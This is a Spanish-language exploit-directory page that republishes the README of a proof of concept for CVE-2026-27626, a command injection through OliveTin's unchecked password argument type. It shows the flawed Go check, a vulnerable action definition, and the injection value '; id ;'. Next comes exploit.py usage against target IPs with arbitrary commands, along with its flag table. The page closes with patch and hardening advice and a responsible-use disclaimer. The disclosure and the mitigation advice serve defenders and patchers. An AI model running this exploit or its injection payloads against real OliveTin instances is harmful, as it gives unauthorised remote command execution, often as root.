Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-27626-POC | Kitploit
Herramientas/GitHubGitHub/cobrastrike62/cve-2026-27626-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubcobrastrike62/cve-2026-27626-poc

CVE-2026-27626-POC

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-27626: Inyección de comandos mediante argumento de contraseña en OliveTin

OliveTin permite al administrador definir "acciones": comandos de shell con argumentos parametrizados que los usuarios pueden ejecutar desde una interfaz web o API. Antes de insertar un valor suministrado por el usuario en el comando de shell, se supone que OliveTin lo pasa por checkShellArgumentSafety(). Esa función comprueba cuatro tipos de argumento: string, int, bool, choice. Omite password por completo y devuelve true, es decir, "seguro", sin examinar el valor en absoluto.

Por lo tanto, si una acción tiene un argumento de tipo password y ese argumento se sustituye en una cadena de comando de shell, puedes poner cualquier cosa en él. Puntos y coma, comillas invertidas, $(), lo que sea. Si el argumento está entre comillas en el comando subyacente (un patrón común para cosas como contraseñas de bases de datos), basta con salir de las comillas.

root@kitploit:~
func checkShellArgumentSafety(argType string, value string) bool {
    dangerousTypes := []string{"string", "int", "bool", "choice"}
    for _, dt := range dangerousTypes {
        if argType == dt {
            return sanitizeInput(value)
        }
    }
    // password type falls through here, unchecked
    return true
}

Afecta a OliveTin hasta 3000.10.0. Corregido en la línea 3000.11.1 (commit 0.0.0-20260222101908-4bbd2eab1532), que añade password a los tipos comprobados. Aviso: GHSA-49gm-hh7w-wfvf. CVSS 9.9.

Cómo es una acción vulnerable

Cualquier caso en el que un argumento de tipo password acabe dentro de una cadena de shell, normalmente entre comillas:

root@kitploit:~
  - title: Backup database
    id: backup_db
    shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /tmp/backup.sql"
    arguments:
      - name: db_user
        type: ascii_identifier
      - name: db_pass
        type: password
      - name: db_name
        type: ascii_identifier

db_pass está entre comillas simples sin que nada lo compruebe. Envía '; id ;' como valor y OliveTin ejecuta id antes de que falle la llamada malformada a mysqldump. El fallo no importa; el comando inyectado ya se ejecutó, como el usuario bajo el que se ejecuta OliveTin. En muchas configuraciones ese usuario es root, porque la gente lo ejecuta bajo systemd sin una línea User= y no vuelve a pensar en ello.

No necesitas credenciales para nada de esto si la instancia tiene authRequireGuestsToLogin: false configurado, algo habitual en despliegues pequeños o de aficionados.

Ejecutar el PoC

root@kitploit:~
pip install requests
python3 exploit.py -u <target> --action backup_db --arg db_pass -x "id"

Si la acción necesita otros argumentos para ejecutarse sin errores antes de que tu comando inyectado se ejecute, pásalos con --extra-arg:

root@kitploit:~
python3 exploit.py -u 10.0.0.5 --action backup_db --arg db_pass \
  --extra-arg db_user=admin --extra-arg db_name=prod -x "whoami"

El script hace POST a StartAction, espera dos segundos, luego consulta ExecutionStatus e imprime lo que devuelva. Normalmente verás la salida del comando inyectado por encima de un error del comando legítimo que se ejecutó después y falló. Eso es lo esperado. El error es cosmético; tu comando ya se ejecutó.

Cómo solucionarlo

Actualiza OliveTin más allá de 3000.10.0. Si aún no puedes: retira cualquier argumento de tipo password de las acciones a las que puedan acceder usuarios no confiables, desactiva la ejecución de invitados y deja de permitir que los valores de argumentos se interpolen en cadenas de shell en la medida de lo posible. Pasa los secretos mediante variables de entorno o un archivo que OliveTin lea en una ruta fija. Y no ejecutes el servicio como root. No hay razón para que un ejecutor de tareas tenga esos privilegios.

Archivos aquí

  • exploit.py: el script del PoC
  • README.md: este archivo

Úsalo de forma responsable

Esto está aquí para quienes parchean sus propias instancias de OliveTin, escriben detecciones o prueban sistemas que están autorizados a probar. No lo uses contra nada que no sea tuyo o sobre lo que no tengas permiso. Eso es responsabilidad tuya, no de quien escribió esto.

Descargar herramienta
indicadorpara qué sirvevalor por defecto
-u, --urlhost o IP de destinoobligatorio
-p, --portpuerto de OliveTin1337
--actionel bindingId de la acción vulnerableobligatorio
--argnombre del argumento de tipo passwordobligatorio
-x, --cmdcomando a inyectarid
--extra-argotros argumentos que la acción necesite, name=value, repetibleninguno